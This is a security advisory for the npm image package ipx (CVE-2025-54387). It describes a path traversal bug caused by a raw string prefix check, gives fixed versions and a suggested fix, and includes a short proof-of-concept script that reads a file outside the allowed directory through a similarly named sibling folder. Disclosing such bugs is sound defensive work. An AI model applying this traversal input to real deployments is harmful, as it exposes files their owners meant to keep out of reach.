ipx
Affected
- introduced
0, fixed1.3.2(semver)
Fixed versions
1.3.2
Fix
- Fixed version
1.3.2npm install [email protected]
Advisory
Also known as: CVE-2025-54387
IPX Allows Path Traversal via Prefix Matching Bypass
Summary
The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.
PoC
mkdir ~/public123
move a png file under ~/public123 with name test.png
cd
npm i ipx
main.jsimport { createIPX, ipxFSStorage } from "ipx";
const ipx = createIPX({
storage: ipxFSStorage({ dir: "./public" }),
});
(async () => {
{
const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder
const { data, format } = await source.process();
console.log(format) // print image data
}
{
try {
const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same
const { data, format } = await source.process();
console.log(data)
} catch (err) {
console.log(err.message) // Forbidden path:
}
}
})()
node main.jspng
Forbidden path: /../publi123/test.png
Impact
Path Traversal
Possible Fix
Check if the dir ends with / (path separator) and if not, add before calling startsWith
Medium Basis: The source's own band: MODERATE
0, fixed 1.3.2 (semver)1.3.2
1.3.2npm install [email protected]2.0.0-0, fixed 2.1.1 (semver)2.1.1
2.1.1npm install [email protected]3.0.0, fixed 3.1.1 (semver)3.1.1
3.1.1npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0